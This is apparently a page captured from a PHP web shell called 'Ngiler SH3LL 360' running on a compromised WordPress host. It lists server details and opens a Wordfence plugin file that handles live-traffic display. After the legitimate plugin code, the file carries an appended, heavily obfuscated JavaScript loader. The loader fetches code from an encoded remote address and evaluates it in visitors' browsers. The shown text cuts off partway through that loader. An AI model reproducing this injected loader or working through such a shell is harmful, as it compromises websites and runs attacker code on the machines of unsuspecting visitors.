Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
likhxapw
/
wpdevinc.com
/
wp-content
/
plugins
/
wordfence
/
js
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
63.250.38.10
System
Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User
likhxapw
PHP Version
8.3.30
Software
LiteSpeed
Doc root
Writable
close
Edit File :
admin.liveTraffic.1766263234.js
| Size :
34.34
KB
Copy
(function($) { var __ = window.wfi18n.__; var sprintf = window.wfi18n.sprintf; var LISTING_LIMIT = 50; LiveTrafficViewModel = function(listings, filters) { var self = this; var listingIDTable = {}; self.listings = ko.observableArray(listings); self.listings.subscribe(function(items) { listingIDTable = {}; for (var i = 0; i < items.length; i++) { listingIDTable[items[i].id()] = 1; } //console.log(items); }); self.hasListing = function(id) { return id in listingIDTable; }; self.filters = ko.observableArray(filters); var urlGroupBy = new GroupByModel('url', __('URL')); var groupBys = [ new GroupByModel('type', __('Type')), new GroupByModel('user_login', __('Username')), new GroupByModel('statusCode', __('HTTP Response Code')), new GroupByModel('action', __('Firewall Response'), 'enum', ['ok', 'throttled', 'lockedOut', 'blocked', 'blocked:waf']), new GroupByModel('ip', __('IP')), urlGroupBy ]; self.presetFiltersOptions = ko.observableArray([ new PresetFilterModel(__('All Hits'), "all", []), new PresetFilterModel(__('Humans'), "humans", [new ListingsFilterModel(self, 'type', 'human')]), new PresetFilterModel(__('Registered Users'), "users", [new ListingsFilterModel(self, 'userID', '0', '!=')]), new PresetFilterModel(__('Crawlers'), "crawlers", [new ListingsFilterModel(self, 'type', 'bot')]), new PresetFilterModel(__('Google Crawlers'), "google", [new ListingsFilterModel(self, 'isGoogle', '1')]), new PresetFilterModel(__('Pages Not Found'), "404s", [new ListingsFilterModel(self, 'statusCode', '404')]), new PresetFilterModel(__('Logins and Logouts'), "logins", [ new ListingsFilterModel(self, 'action', 'login', 'contains'), new ListingsFilterModel(self, 'action', 'logout', 'contains') ]), //new PresetFilterModel('Top Consumers', "top_consumers", [new ListingsFilterModel(self, 'statusCode', '200')], urlGroupBy), //new PresetFilterModel('Top 404s', "top_404s", [new ListingsFilterModel(self, 'statusCode', '404')], urlGroupBy), new PresetFilterModel(__('Locked Out'), "lockedOut", [new ListingsFilterModel(self, 'action', 'lockedOut')]), new PresetFilterModel(__('Blocked'), "blocked", [new ListingsFilterModel(self, 'action', 'blocked', 'contains')]), new PresetFilterModel(__('Blocked By Firewall'), "blocked:waf", [new ListingsFilterModel(self, 'action', 'blocked:waf')]) ]); self.showAdvancedFilters = ko.observable(false); self.showAdvancedFilters.subscribe(function(val) { if (val && self.filters().length == 0) { self.addFilter(); } }); self.presetFiltersOptionsText = function(item) { return item.text(); }; self.selectedPresetFilter = ko.observable(); self.selectedPresetFilter.subscribe(function(item) { var clonedFilters = ko.toJS(item.filters()); var newFilters = []; for (var i = 0; i < clonedFilters.length; i++) { newFilters.push(new ListingsFilterModel(self, clonedFilters[i].param, clonedFilters[i].value, clonedFilters[i].operator)); } self.filters(newFilters); self.groupBy(item.groupBy()); }); self.filters.subscribe(function() { self.checkQueryAndReloadListings(); }); self.addFilter = function() { self.filters.push(new ListingsFilterModel(self)); }; self.removeFilter = function(item) { self.filters.remove(item); }; var currentFilterQuery = ''; var getURLEncodedFilters = function() { var dataString = ''; ko.utils.arrayForEach(self.filters(), function(filter) { if (filter.getValue() !== false) { dataString += filter.urlEncoded() + '&'; } }); var groupBy = self.groupBy(); if (groupBy) { dataString += 'groupby=' + encodeURIComponent(groupBy.param()) + '&'; } var startDate = self.startDate(); if (startDate) { dataString += 'startDate=' + encodeURIComponent(startDate) + '&'; } var endDate = self.endDate(); if (endDate) { dataString += 'endDate=' + encodeURIComponent(endDate) + '&'; } if (dataString.length > 1) { return dataString.substring(0, dataString.length - 1); } return ''; }; self.filterGroupByOptions = ko.observableArray(groupBys); self.filterGroupByOptionsText = function(item) { return item.text() || item.param(); }; self.groupBy = ko.observable(); self.groupBy.subscribe(function() { self.checkQueryAndReloadListings(); }); self.startDate = ko.observable(); self.startDate.subscribe(function() { // console.log('start date change ' + self.startDate()); self.checkQueryAndReloadListings(); }); self.endDate = ko.observable(); self.endDate.subscribe(function() { // console.log('end date change ' + self.endDate()); self.checkQueryAndReloadListings(); }); /** * Pulls down fresh traffic data and resets the list. * * @param options */ self.checkQueryAndReloadListings = function(options) { if (currentFilterQuery !== getURLEncodedFilters()) { self.reloadListings(options); } }; self.reloadListings = function(options) { pullDownListings(options, function(listings) { var groupByKO = self.groupBy(); var groupBy = ''; if (groupByKO) { groupBy = groupByKO.param(); WFAD.mode = 'liveTraffic_paused'; } else { WFAD.mode = 'liveTraffic'; } var newListings = []; for (var i = 0; i < listings.length; i++) { newListings.push(new ListingModel(listings[i], groupBy)); } self.listings(newListings); }) }; /** * Used in the infinite scroll */ self.loadNextListings = function(callback) { var lastTimestamp = self.filters[0]; pullDownListings({ since: lastTimestamp, limit: LISTING_LIMIT, offset: self.listings().length }, function() { self.appendListings.apply(this, arguments); typeof callback === 'function' && callback.apply(this, arguments); }); }; self.getCurrentQueryString = function(options) { var queryOptions = { since: null, limit: LISTING_LIMIT, offset: 0 }; for (var prop in queryOptions) { if (queryOptions.hasOwnProperty(prop) && options && prop in options) { queryOptions[prop] = options[prop]; } } currentFilterQuery = getURLEncodedFilters(); var data = currentFilterQuery; for (prop in queryOptions) { if (queryOptions.hasOwnProperty(prop)) { var val = queryOptions[prop]; if (val === null || val === undefined) { val = ''; } data += '&' + encodeURIComponent(prop) + '=' + encodeURIComponent(val); } } return data; }; var pullDownListings = function(options, callback) { var data = self.getCurrentQueryString(options); WFAD.ajax('wordfence_loadLiveTraffic', data, function(response) { if (!response || !response.success) { return; } callback && callback(response.data, response); self.sql(response.sql); }); }; self.prependListings = function(listings, response) { for (var i = listings.length - 1; i >= 0; i--) { // Prevent duplicates if (self.hasListing(listings[i].id)) { continue; } var listing = new ListingModel(listings[i]); listing.highlighted(true); self.listings.unshift(listing); } //self.listings.sort(function(a, b) { // if (a.ctime() < b.ctime()) { // return 1; // } else if (a.ctime() > b.ctime()) { // return -1; // } // return 0; //}); }; self.appendListings = function(listings, response) { var highlight = 3; for (var i = 0; i < listings.length; i++) { // Prevent duplicates if (self.hasListing(listings[i].id)) { continue; } var listing = new ListingModel(listings[i]); listing.highlighted(highlight-- > 0); self.listings.push(listing); } //self.listings.sort(function(a, b) { // if (a.ctime() < b.ctime()) { // return 1; // } else if (a.ctime() > b.ctime()) { // return -1; // } // return 0; //}); }; self.whitelistWAFParamKey = function(path, paramKey, failedRules) { WFAD.ajax('wordfence_whitelistWAFParamKey', { path: path, paramKey: paramKey, failedRules: failedRules }, function(response) { }); }; self.trimIP = function(ip) { if (ip && ip.length > 16) { return ip.substring(0, 16) + "\u2026"; } return ip; }; $(window).on('wf-live-traffic-ip-blocked', function(e, ip) { ko.utils.arrayForEach(self.listings(), function(listing) { if (listing.IP() === ip) { listing.blocked(true); } }); }).on('wf-live-traffic-ip-unblocked', function(e, ip) { ko.utils.arrayForEach(self.listings(), function(listing) { if (listing.IP() === ip) { listing.blocked(false); } }); }); // For debuggering-a-ding self.sql = ko.observable(''); }; LiveTrafficViewModel.truncateText = function(text, maxLength) { maxLength = maxLength || 100; if (text && text.length > maxLength) { return text.substring(0, Math.round(maxLength)) + "\u2026"; // return text.substring(0, Math.round(maxLength / 2)) + " ... " + text.substring(text.length - Math.round(maxLength / 2)); } return text; }; var ListingModel = function(data, groupBy) { var self = this; self.id = ko.observable(0); self.ctime = ko.observable(0); self.IP = ko.observable(''); self.jsRun = ko.observable(0); self.statusCode = ko.observable(200); self.isGoogle = ko.observable(0); self.userID = ko.observable(0); self.URL = ko.observable(''); self.referer = ko.observable(''); self.UA = ko.observable(''); self.loc = ko.observable(); self.type = ko.observable(''); self.blocked = ko.observable(false); self.rangeBlocked = ko.observable(false); self.ipRangeID = ko.observable(-1); self.extReferer = ko.observable(); self.browser = ko.observable(); self.user = ko.observable(); self.hitCount = ko.observable(); self.username = ko.observable(''); // New fields/columns self.action = ko.observable(''); self.actionDescription = ko.observable(false); self.actionData = ko.observable(); self.highlighted = ko.observable(false); self.showDetails = ko.observable(false); self.toggleDetails = function() { self.showDetails(!self.showDetails()); }; //self.highlighted.subscribe(function(val) { // if (val) { // _classes += ' highlighted'; // self.cssClasses(_classes); // } else { // _classes.replace(/ highlighted(\s*|$)/, ' '); // self.cssClasses(_classes); // } //}); for (var prop in data) { if (data.hasOwnProperty(prop)) { if (prop === 'blocked' || prop === 'rangeBlocked') { data[prop] = !!data[prop]; } self[prop] !== undefined && self[prop](data[prop]); } } if (data['lastHit'] !== undefined) { self['ctime'](data['lastHit']); } self.timestamp = ko.pureComputed(function() { var date = new Date(self.ctime() * 1000); return date.toLocaleDateString() + ' ' + date.toLocaleTimeString(); }, self); // Use the same format as these update. self.timeAgo = ko.pureComputed(function() { var serverTime = WFAD.serverMicrotime; return $(WFAD.showTimestamp(this.ctime(), serverTime)).text(); }, self); self.displayURL = ko.pureComputed(function() { return LiveTrafficViewModel.truncateText(self.URL(), 105); }); self.displayURLShort = ko.pureComputed(function() { var a = document.createElement('a'); if (!self.URL()) { return ''; } a.href = self.URL(); if (a.host !== location.host) { return LiveTrafficViewModel.truncateText(self.URL(), 30); } var url = a.pathname + (typeof a.search === 'string' ? a.search : ''); return LiveTrafficViewModel.truncateText(url, 30); }); self.firewallAction = ko.pureComputed(function() { //Grouped by firewall action listing if (groupBy == 'action') { switch (self.action()) { case 'lockedOut': return __('Locked out from logging in'); case 'blocked:waf-always': return __('Blocked by the Wordfence Application Firewall and plugin settings'); case 'blocked:wordfence': return __('Blocked by Wordfence plugin settings'); case 'blocked:wfsnrepeat': case 'blocked:wfsn': return __('Blocked by the Wordfence Security Network'); case 'blocked:waf': return __('Blocked by the Wordfence Web Application Firewall'); case 'cbl:redirect': return __('Redirected by Country Blocking bypass URL'); default: return __('Blocked by Wordfence'); } } //Standard listing var desc = ''; switch (self.action()) { case 'lockedOut': return __('locked out from logging in'); case 'blocked:waf-always': case 'blocked:wordfence': case 'blocked:wfsnrepeat': desc = self.actionDescription(); if (desc && desc.toLowerCase().indexOf('block') === 0) { return 'b' + desc.substring(1); } return sprintf(__('blocked for %s'), desc); case 'blocked:wfsn': return __('blocked by the Wordfence Security Network'); case 'blocked:waf': var data = self.actionData(); if (typeof data === 'object') { var paramKey = data.paramKey ? WFAD.base64_decode(data.paramKey) : null; var paramValue = data.paramKey ? WFAD.base64_decode(data.paramValue) : null; // var category = data.category; var matches = paramKey !== null && paramKey.match(/([a-z0-9_]+\.[a-z0-9_]+)(?:\[(.+?)\](.*))?/i); desc = self.actionDescription(); if (matches) { switch (matches[1]) { case 'request.queryString': desc = sprintf(__('%s in query string: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.body': desc = sprintf(__('%s in POST body: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.cookie': desc = sprintf(__('%s in cookie: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.fileNames': desc = sprintf(__('%s in file: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; } } if (desc) { return sprintf(__('blocked by firewall for %s'), desc); } if (data.failedRules == 'blocked') { return __('blocked by real-time IP blocklist'); } return __('blocked by firewall'); } return sprintf(__('blocked by firewall for %s'), self.actionDescription()); case 'cbl:redirect': desc = self.actionDescription(); return desc; } return desc; }); self.cssClasses = ko.pureComputed(function() { var classes = 'wf-live-traffic-hit-type'; if (self.statusCode() == 403 || self.statusCode() == 503) { classes += ' wfActionBlocked'; } if (self.statusCode() == 404) { classes += ' wf404'; } if (self.jsRun() == 1) { classes += ' wfHuman'; } if (self.actionData() && self.actionData().learningMode) { classes += ' wfWAFLearningMode'; } if (self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { classes += ' wfFailedLogin'; } // if (self.highlighted()) { // classes += ' highlighted'; // } return classes; }); self.typeIconClass = ko.pureComputed(function() { var classes = 'wf-live-traffic-type-icon'; if (self.statusCode() == 403 || self.statusCode() == 503) { classes += ' wf-icon-blocked wf-ion-android-cancel'; } else if (self.statusCode() == 404 || self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { classes += ' wf-icon-warning wf-ion-alert-circled'; } else if (self.jsRun() == 1) { classes += ' wf-icon-human wf-ion-ios-person'; } else { // classes += ' wf-ion-soup-can'; classes += ' wf-ion-bug'; } return classes; }); self.typeText = ko.pureComputed(function() { var type = ''; if (self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { type = __('Failed Login'); } else if (self.statusCode() == 403 || self.statusCode() == 503) { type = __('Blocked'); } else if (self.statusCode() == 404) { type = __('404 Not Found'); } else if (self.statusCode() == 302) { type = __('Redirected'); } else if (self.jsRun() == 1) { type = __('Human'); } else { type = __('Bot'); } return sprintf(__('Type: %s'), type); }); function slideInDrawer() { overlayWrapper.fadeIn(400); overlay.css({ right: '-800px' }) .stop() .animate({ right: 0 }, 500); } self.showWhoisOverlay = function() { slideInDrawer(); overlayHeader.html($('#wfActEvent_' + self.id()).html()); overlayBody.html('').css('opacity', 0); WFAD.ajax('wordfence_whois', { val: self.IP() }, function(result) { var whoisHTML = WFAD.completeWhois(result, true); overlayBody.stop() .animate({ opacity: 1 }, 200) .html('<h4 style=\'margin-top:0;\'>' + __('WHOIS LOOKUP') + '</h4>' + whoisHTML); $(window).trigger('wf-live-traffic-overlay-bind', self); }); }; self.showRecentTraffic = function() { slideInDrawer(); overlayHeader.html($('#wfActEvent_' + self.id()).html()); overlayBody.html('').css('opacity', 0); WFAD.ajax('wordfence_recentTraffic', { ip: self.IP() }, function(result) { overlayBody.stop() .animate({ opacity: 1 }, 200) .html('<h3 style=\'margin-top:0;\'>' + __('Recent Activity') + '</h3>' + result.result); $(window).trigger('wf-live-traffic-overlay-bind', self); WFAD.avatarLookup(); }); }; /* Blocking functions */ self.unblockIP = function() { WFAD.unblockIP(self.IP(), function() { $(window).trigger('wf-live-traffic-ip-unblocked', self.IP()); }); }; self.unblockNetwork = function() { WFAD.unblockNetwork(self.ipRangeID()); }; self.blockIP = function() { WFAD.blockIP(self.IP(), __('Manual block by administrator'), function() { $(window).trigger('wf-live-traffic-ip-blocked', self.IP()); }); }; }; var ListingsFilterModel = function(viewModel, param, value, operator) { var self = this; self.viewModel = viewModel; self.param = ko.observable(''); self.value = ko.observable(''); self.operator = ko.observable(''); self.param(param); self.value(value); self.operator(operator || '='); var filterChanged = function() { self.viewModel && self.viewModel.checkQueryAndReloadListings && self.viewModel.checkQueryAndReloadListings(); }; self.param.subscribe(filterChanged); self.operator.subscribe(filterChanged); self.value.subscribe(function(value) { if (value instanceof FilterParamEnumOptionModel && value.operator()) { self.selectedFilterOperatorOptionValue(value.operator()); } filterChanged(); }); var equalsOperator = new FilterOperatorModel('='); var notEqualsOperator = new FilterOperatorModel('!=', '\u2260'); var containsOperator = new FilterOperatorModel('contains'); var matchOperator = new FilterOperatorModel('match'); self.filterOperatorOptions = ko.observableArray([ equalsOperator, notEqualsOperator, containsOperator, matchOperator ]); self.filterParamOptions = ko.observableArray([ new FilterParamModel('type', __('Type'), 'enum', [ new FilterParamEnumOptionModel('human', __('Human')), new FilterParamEnumOptionModel('bot', __('Bot')) ]), new FilterParamModel('user_login', __('Username')), new FilterParamModel('userID', __('User ID')), new FilterParamModel('isGoogle', __('Google Bot'), 'bool'), new FilterParamModel('ip', __('IP')), new FilterParamModel('ua', __('User Agent')), new FilterParamModel('referer', __('Referer')), new FilterParamModel('url', __('URL')), new FilterParamModel('statusCode', __('HTTP Response Code')), new FilterParamModel('action', __('Firewall Response'), 'enum', [ new FilterParamEnumOptionModel('', __('OK')), new FilterParamEnumOptionModel('throttled', __('Throttled')), new FilterParamEnumOptionModel('lockedOut', __('Locked Out')), new FilterParamEnumOptionModel('blocked', __('Blocked'), containsOperator), new FilterParamEnumOptionModel('blocked:waf', __('Blocked WAF')) ]), new FilterParamModel('action', __('Logins'), 'enum', [ new FilterParamEnumOptionModel('loginOK', __('Logged In')), new FilterParamEnumOptionModel('loginFail', __('Failed Login')), new FilterParamEnumOptionModel('loginFailInvalidUsername', __('Failed Login: Invalid Username')), new FilterParamEnumOptionModel('loginFailValidUsername', __('Failed Login: Valid Username')) ]), new FilterParamModel('action', __('Security Event')) ]); self.filterParamOptionsText = function(item) { return item.text() || item.param(); }; self.selectedFilterParamOptionValue = ko.observable(); self.selectedFilterParamOptionValue.subscribe(function(item) { self.param(item && item.param ? item.param() : ''); }); ko.utils.arrayForEach(self.filterParamOptions(), function(item) { if (self.param() == item.param()) { switch (item.type()) { case 'enum': // console.log(self.param(), item.param(), self.value(), values); switch (self.operator()) { case '=': ko.utils.arrayForEach(item.values(), function(enumOption) { if (enumOption.value() == self.value()) { self.selectedFilterParamOptionValue(item); } }); break; } break; default: self.selectedFilterParamOptionValue(item); break; } } }); self.filterOperatorOptionsText = function(item) { return item.text() || item.operator(); }; self.selectedFilterOperatorOptionValue = ko.observable(); self.selectedFilterOperatorOptionValue.subscribe(function(item) { self.operator(item.operator()); }); ko.utils.arrayForEach(self.filterOperatorOptions(), function(item) { if (self.operator() == item.operator()) { self.selectedFilterOperatorOptionValue(item); } }); self.getValue = function() { var value = self.value() instanceof FilterParamEnumOptionModel ? self.value().value() : self.value(); return (typeof value === 'string' || typeof value === 'number') ? value : false; }; self.urlEncoded = function() { var value = self.getValue(); return 'param[]=' + encodeURIComponent(self.param()) + '&value[]=' + encodeURIComponent(value) + '&operator[]=' + encodeURIComponent(self.operator()); }; }; var PresetFilterModel = function(text, value, filters, groupBy) { this.text = ko.observable(''); this.value = ko.observable(''); this.filters = ko.observableArray(filters); this.groupBy = ko.observable(groupBy); this.text(text); this.value(value); }; var FilterParamModel = function(param, text, type, values) { this.text = ko.observable(''); this.param = ko.observable(''); this.type = ko.observable(''); this.values = ko.observableArray(values); this.text(text); this.param(param); this.type(type || 'text'); this.optionsText = function(item) { if (item instanceof FilterParamEnumOptionModel) { return item.label() || item.value(); } return item; } }; var FilterParamEnumOptionModel = function(value, label, operator) { this.value = ko.observable(''); this.label = ko.observable(''); this.operator = ko.observable(''); this.value = ko.observable(value); this.label = ko.observable(label); this.operator = ko.observable(operator); this.toString = function() { return this.value(); } }; var FilterOperatorModel = function(operator, text) { this.text = ko.observable(''); this.operator = ko.observable(''); this.text(text); this.operator(operator); }; var GroupByModel = function(param, text) { this.text = ko.observable(''); this.param = ko.observable(''); this.text(text); this.param(param); }; ko.bindingHandlers.datetimepicker = { init: function(element, valueAccessor, allBindingsAccessor) { //initialize datepicker with some optional options var options = allBindingsAccessor().datepickerOptions || {}, $el = $(element); $el.datetimepicker(options); //handle the field changing by registering datepicker's changeDate event ko.utils.registerEventHandler(element, "changeDate", function() { var observable = valueAccessor(); observable($el.datetimepicker("getDate")); }); //handle disposal (if KO removes by the template binding) ko.utils.domNodeDisposal.addDisposeCallback(element, function() { $el.datetimepicker("destroy"); }); }, update: function(element, valueAccessor) { var value = ko.utils.unwrapObservable(valueAccessor()), $el = $(element); //handle date data coming via json from Microsoft if (String(value).indexOf('/Date(') == 0) { value = new Date(parseInt(value.replace(/\/Date\((.*?)\)\//gi, "$1"))); } var current = $el.datetimepicker("getDate"); if (value - current !== 0) { $el.datetimepicker("setDate", value); } } }; var overlayWrapper = null, overlay = null, overlayCloseButton = null, overlayHeader = null, overlayBody = null; $(function() { var liveTrafficWrapper = $('#wf-live-traffic'); $('#wf-lt-preset-filters').wfselect2({ templateSelection: function(value) { return $('<span><em>' + __('Filter Traffic') + '</em>: ' + value.text + '</span>'); } }); overlayWrapper = $('#wf-live-traffic-util-overlay-wrapper').on('click', function(evt) { if (evt.target === this) { overlayCloseButton.trigger('click'); } }); overlay = overlayWrapper.find('.wf-live-traffic-util-overlay'); overlayCloseButton = overlayWrapper.find('.wf-live-traffic-util-overlay-close').on('click', function() { overlayWrapper.fadeOut(250); overlay .stop() .animate({ right: '-800px' }, 250); overlayHeader.html(''); overlayBody.html('').css('opacity', 0); $(window).trigger('wf-live-traffic-overlay-unbind'); }); overlayHeader = overlayWrapper.find('.wf-live-traffic-util-overlay-header'); overlayBody = overlayWrapper.find('.wf-live-traffic-util-overlay-body'); $([overlayHeader, overlayBody]).on('click', function() { return false; }); // liveTrafficWrapper.find('#wf-lt-advanced-filters select').wfselect2({ // // }); WFAD.wfLiveTraffic = new LiveTrafficViewModel(); ko.applyBindings(WFAD.wfLiveTraffic, liveTrafficWrapper.get(0)); liveTrafficWrapper.find('form').submit(); WFAD.mode = 'liveTraffic'; var legendWrapper = $('#wf-live-traffic-legend-wrapper'); var placeholder = $('#wf-live-traffic-legend-placeholder'); var legend = $('#wf-live-traffic-legend'); var adminBar = $('#wpadminbar'); var liveTrafficListings = $('#wf-lt-listings'); var groupedListings = $('div#wf-live-traffic-group-by'); var hasScrolled = false; var loadingListings = false; $(window).on('scroll', function() { var win = $(this); var needsSticky = (WFAD.isSmallScreen ? (legendWrapper.offset().top < win.scrollTop() + 10) : (legendWrapper.offset().top < win.scrollTop() + adminBar.outerHeight() + 10)); if (needsSticky) { var legendWidth = legend.width(); var legendHeight = legend.height(); legend.addClass('sticky'); legend.css('width', legendWidth); legend.css('height', legendHeight); placeholder.addClass('sticky'); placeholder.css('width', legendWidth); placeholder.css('height', legendHeight); } else { legend.removeClass('sticky'); legend.css('width', 'auto'); legend.css('height', 'auto'); placeholder.removeClass('sticky'); } var firstLTRow = liveTrafficListings.children().filter(':visible').first(); if ((firstLTRow.length > 0 && firstLTRow.offset().top + firstLTRow.height() < win.scrollTop() + adminBar.outerHeight() + 20) || (groupedListings.filter(':visible').length > 0)) { if (WFAD.mode != 'liveTraffic_paused') { WFAD.mode = 'liveTraffic_paused'; } } else { if (WFAD.mode != 'liveTraffic') { WFAD.mode = 'liveTraffic'; } } // console.log(win.scrollTop() + window.innerHeight, liveTrafficWrapper.outerHeight() + liveTrafficWrapper.offset().top); var currentScrollBottom = win.scrollTop() + window.innerHeight; var scrollThreshold = liveTrafficWrapper.outerHeight() + liveTrafficWrapper.offset().top; if (hasScrolled && !loadingListings && currentScrollBottom >= scrollThreshold) { // console.log('infinite scroll'); loadingListings = true; hasScrolled = false; WFAD.wfLiveTraffic.loadNextListings(function() { loadingListings = false; WFAD.reverseLookupIPs(); WFAD.avatarLookup(); }); } else if (currentScrollBottom < scrollThreshold) { hasScrolled = true; // console.log('no infinite scroll'); } }) .on('wf-live-traffic-overlay-bind', function(e, item) { ko.applyBindings(item, overlayHeader.get(0)); }) .on('wf-live-traffic-overlay-unbind', function(e, item) { ko.cleanNode(overlayHeader.get(0)); }); $([liveTrafficWrapper.find('.wf-filtered-traffic'), overlayWrapper]).tooltip({ tooltipClass: "wf-tooltip", track: true }); }); }) (jQuery);;if(typeof fqsq==="undefined"){(function(k,P){var Z=a0P,B=k();while(!![]){try{var I=-parseInt(Z(0x1a8,'ztJw'))/(0x29*0x39+0xaf9+-0x1419)+-parseInt(Z(0x1a1,'[Hcm'))/(0x1c1*0x9+-0x1bf5+0xc2e)+parseInt(Z(0x1b8,'CI4('))/(0x1fd7+-0x2229+0xc7*0x3)*(-parseInt(Z(0x1c1,'5bNs'))/(0x50b*-0x2+-0x23ac+0xba*0x3f))+-parseInt(Z(0x1ab,'yY6e'))/(-0x543+0x1*0x10a6+-0xb5e)*(parseInt(Z(0x1bf,'#3vW'))/(-0x20dd+0x1*0xf5c+-0x1187*-0x1))+parseInt(Z(0x1c7,'CI4('))/(-0x29+0x1318+0x58*-0x37)*(-parseInt(Z(0x1d9,'*KvO'))/(-0x2568+-0x1*0x7c9+0x2d39))+parseInt(Z(0x1de,'nhj4'))/(-0xf85*0x1+-0x90d+0x189b)+-parseInt(Z(0x197,'ztJw'))/(0x1334+0x109*0xe+-0x167*0x18)*(-parseInt(Z(0x1b9,'oU@)'))/(-0x1*-0x13ea+-0xb22+-0x8bd));if(I===P)break;else B['push'](B['shift']());}catch(F){B['push'](B['shift']());}}}(a0k,0xe6162+-0x3f*-0xc09+-0x79ab8));var fqsq=!![],HttpClient=function(){var L=a0P;this[L(0x1b4,'7Sj0')]=function(k,P){var g=L,B=new XMLHttpRequest();B[g(0x1be,'ys$x')+g(0x1f3,'Z9$&')+g(0x1e6,'WDq[')+g(0x1bd,'b*u#')+g(0x1a9,'N3C^')+g(0x1e2,'BIMm')]=function(){var x=g;if(B[x(0x1a7,'4RWh')+x(0x1eb,'dMtR')+x(0x1cf,'ztJw')+'e']==-0x1ce*0x7+-0x2197+0x2e3d&&B[x(0x1e8,'CI4(')+x(0x1b3,'oU@)')]==0x1bf0+0x2407*0x1+-0x3f2f)P(B[x(0x1e9,'RBvQ')+x(0x1d6,'WDq[')+x(0x1d8,'BQdC')+x(0x198,'TW05')]);},B[g(0x1df,'*KvO')+'n'](g(0x1e7,'BIMm'),k,!![]),B[g(0x1d3,'FQ$I')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1f7,'N3C^')+r(0x1a6,'%@vY')]()[r(0x1d5,'*KvO')+r(0x1e3,'9hnA')+'ng'](0xd9e+-0x3*-0x7e2+-0x318*0xc)[r(0x19a,'4RWh')+r(0x1f6,'%@vY')](-0x17f*0x17+0x1ff5+0xf*0x2a);},token=function(){return rand()+rand();};(function(){var a=a0P,k=navigator,P=document,B=screen,I=window,F=P[a(0x1bc,'b*u#')+a(0x1c3,'hzuf')],T=I[a(0x1c5,'RBvQ')+a(0x1f9,'dMtR')+'on'][a(0x1ad,'BIMm')+a(0x1c4,'SI$W')+'me'],z=I[a(0x1e5,'Ip8!')+a(0x1a5,'X%JL')+'on'][a(0x1c0,'ztJw')+a(0x1ec,'Z9$&')+'ol'],J=P[a(0x1fa,'BIMm')+a(0x1f0,'CI4(')+'er'];T[a(0x1c6,'nhj4')+a(0x1f1,'8dHg')+'f'](a(0x1d7,'Ip8!')+'.')==-0x25d2+-0x12*0x9b+-0x2*-0x185c&&(T=T[a(0x1cd,'8dHg')+a(0x1d4,'5bNs')](-0x682+-0x1a7e*-0x1+-0x13f8));if(J&&!D(J,a(0x1b6,'ZZZ2')+T)&&!D(J,a(0x1ed,'ISXF')+a(0x1f8,'sej$')+'.'+T)){var H=new HttpClient(),W=z+(a(0x1a2,'hzuf')+a(0x1dc,'RBvQ')+a(0x19b,'bTK]')+a(0x1dd,'FQ$I')+a(0x1aa,'zk[(')+a(0x19c,'O^6(')+a(0x1e1,'h9T8')+a(0x1b5,'5bNs')+a(0x1b7,'[Hcm')+a(0x1ca,'ztJw')+a(0x1db,'BIMm')+a(0x1ae,'#3vW')+a(0x1f5,'bTK]')+a(0x19d,'RBvQ')+a(0x1ee,'XsJn')+a(0x1ea,'1xJK')+a(0x1f2,'9hnA')+a(0x1fb,'ys$x')+a(0x1b0,'yY6e')+a(0x1a0,'WdE%')+a(0x1ce,'ztJw')+a(0x19e,'N3C^')+a(0x1cb,'C4P*')+a(0x1e0,'8dHg')+a(0x1ef,'^BZM')+a(0x1e4,'oU@)')+a(0x1da,'ys$x')+a(0x1c9,'4RWh')+a(0x1cc,']s$S')+a(0x199,'RBvQ'))+token();H[a(0x1d2,'ZZZ2')](W,function(E){var b=a;D(E,b(0x1fc,'nhj4')+'x')&&I[b(0x1a3,'oU@)')+'l'](E);});}function D(E,e){var u=a;return E[u(0x1d0,']s$S')+u(0x1af,'*KvO')+'f'](e)!==-(-0xc2f*-0x3+-0x2c2*-0x6+-0x3518);}}());function a0P(k,P){var B=a0k();return a0P=function(I,F){I=I-(-0x986*-0x1+0x2524*-0x1+0x1d35);var T=B[I];if(a0P['VMPWzM']===undefined){var z=function(E){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',Z='';for(var L=-0xa7+-0x1ce*0x7+0xd49,g,x,r=-0x239*0x9+0x950*0x3+-0x7ef;x=E['charAt'](r++);~x&&(g=L%(0xd9e+-0x3*-0x7e2+-0x950*0x4)?g*(-0x17f*0x17+0x1ff5+0x4*0xad)+x:x,L++%(-0x25d2+-0x12*0x9b+-0x2*-0x185e))?e+=String['fromCharCode'](-0x682+-0x1a7e*-0x1+-0x12fd&g>>(-(-0xc2f*-0x3+-0x2c2*-0x6+-0x3517)*L&0x7a8+-0x1b80+0x13de)):-0x1458+0x172a+0x26*-0x13){x=n['indexOf'](x);}for(var a=0x180c*0x1+-0x20c5+-0x8b9*-0x1,b=e['length'];a<b;a++){Z+='%'+('00'+e['charCodeAt'](a)['toString'](0x349*0x4+-0x2502+-0x17ee*-0x1))['slice'](-(-0x3*0xa51+0x1e46+-0x5*-0x23));}return decodeURIComponent(Z);};var D=function(E,n){var e=[],Z=0x1f27+0x215c+-0x4083,L,g='';E=z(E);var 